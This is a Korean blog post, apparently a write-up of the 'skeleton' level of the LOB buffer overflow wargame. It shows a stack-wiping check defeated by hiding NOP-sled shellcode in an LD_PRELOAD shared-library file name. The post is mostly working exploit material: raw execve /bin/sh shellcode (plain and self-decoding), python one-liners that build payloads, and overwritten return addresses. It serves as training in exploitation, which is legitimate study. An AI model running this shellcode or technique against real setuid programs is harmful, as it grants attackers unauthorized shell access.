skeleton // shellcoder
추가된 것은 stack destroyer! 버퍼부터 스택세그먼트 끝까지 모두 초기화 시킨다.
export HA=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경변수를 추가해 공격을 시도해 보았다.
주소 : 0xbf ff fe 8d (little endian : \x8d\xfe\xff\xbf)
./golem `python -c 'print "\x90"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x8d\xfe\xff\xbf"'`
하지만 모두 초기화 되는 영역에 존재하기에 소용이 없다.
그렇다면 어디를 이용하면 좋을까?
해결방법은 LD_PRELOAD에 있다.
※ LD_PRELOAD
-
프로세스를 실행하는 중에 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출한다. 이러한 특성을 이용하여 후킹을 할 수 있다.
(http://ddubucker.tistory.com/entry/LDPRELOAD-%ED%9B%84%ED%82%B9-%EA%B8%B0%EB%B2%95)
메모리 구조를 보면 확인해 보면
LD_PRELOAD의 메모리 영역은 공유 라이브러리 영역인 stack의 지역 변수 (buffer) 영역 위(낮은 주소)에 존재한다.
먼저 빈파일을 생성해 gcc 공유라이브러리 컴파일을 해준다. (빈 파일 없이 파일 경로만 적으면 에러를 띄우기 때문!)
-fPIC 옵션 : Position-Independent Code의 약자이며 sh.o파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션
-shared 옵션 : 공유 라이브러리를 만드는 옵션
gcc -fPIC -shared -o `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` sh.c
정상적으로 에러없이 생성된것을 확인하고 생성된 파일을 LD_PRELOAD 환경변수에 등록을 한다.
여기서 주의할 점은 절대경로로 넣어주었다는 것이다. 그래야 오류가 나지 않음.
문제 사본을 만들어 세폴트를 유도한뒤 gdb 로 디버깅을 하여 우리가 원하는 NOP을 어느정도 포함한 쉘코드 주소를 찾을 수 있었다.
쉘코드 주소 : 0xbffff5a0 (little endian : \xa0\xf5\xff\xbf)
./golem `python -c 'print "\x90"*44+"\xa0\xf5\xff\xbf"'`
클리어! LD_PRELOAD를 몰라 방황을 많이 했던것 같다.
'System > LOB' 카테고리의 다른 글
[LOB_13]darkknight (0) | 2019.09.24 |
---|---|
[LOB_12]golem (0) | 2019.09.24 |
[LOB_10]vampire (0) | 2019.09.24 |
[LOB_9]troll (0) | 2019.09.24 |
[LOB_8]orge (0) | 2019.09.24 |